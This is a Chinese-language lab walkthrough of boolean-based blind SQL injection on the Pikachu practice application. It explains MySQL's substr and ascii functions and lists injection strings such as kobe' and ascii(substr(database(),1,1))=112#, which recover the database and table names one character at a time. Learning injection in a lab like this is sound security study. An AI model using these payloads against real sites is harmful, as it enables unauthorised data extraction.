SQL注入-盲注基于boolian案例利用
首先总结一下sql语句中的函数意思
#查看当前所在的数据库
mysql> select database();
+------------+
| database() |
+------------+
| pikachu |
+------------+
1 row in set (0.00 sec)
#函数substr里1是从第几位开始取字符,2是取多少个字符
mysql> select substr(database(),1,2);
+------------------------+
| substr(database(),1,2) |
+------------------------+
| pi |
+------------------------+
1 row in set (0.00 sec)
#函数ascii是将字符转换为数字,注释:p转换数字是112
mysql> select ascii(substr(database(),1,1));
+-------------------------------+
| ascii(substr(database(),1,1)) |
+-------------------------------+
| 112 |
+-------------------------------+
1 row in set (0.00 sec)
#做比较,显然112>113不成立,则为假,即:0
mysql> select ascii(substr(database(),1,1))>113;
+-----------------------------------+
| ascii(substr(database(),1,1))>113 |
+-----------------------------------+
| 0 |
+-----------------------------------+
1 row in set (0.00 sec)
#做比较,显然112>111成立,则为真,即:1
mysql> select ascii(substr(database(),1,1))>111;
+-----------------------------------+
| ascii(substr(database(),1,1))>111 |
+-----------------------------------+
| 1 |
+-----------------------------------+
1 row in set (0.00 sec)
mysql>
盲注boolian类型
输入的内容是否正确,返回的信息比较少,只有两种返回结果:正确或者是用户名不存在
输入kobe直接返回正确的信息,输入kobe’ and 1=1#也返回了正确的信息,证明and被后台执行了
注释:and符号表示:前后都为真则输出正确的信息
输入kobe’ and 1=2#,则显示用户不存在,意思就是前面为真,后面为假,则结果为假,如图所示:
通过上面的图例子,我们可以利用左右都为真,则判断数据库名称的字符,多次进行测试
kobe' and ascii(substr(database(),1,1))=112#
根据payload语句执行成功,则可以判断出数据库第一个字符ascii=112,转换成字符为p
注释:这个方法虽然满了一点,但是一点一点测试会把数据库信息都爆出来的
现在则继续测试第二个字符,我这里是多次测试得出来得结果105转换字符为:i
kobe' and ascii(substr(database(),2,1))=105#
如图所示:结果为真
table_name=database()等于table_name=‘pikachu’
同样也可以进行爆出该数据库下的表名的字符,数字为104转成字符为h
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104#
如图所示,执行成功
我这里就不依次进行测试了,查到的第一个字符为h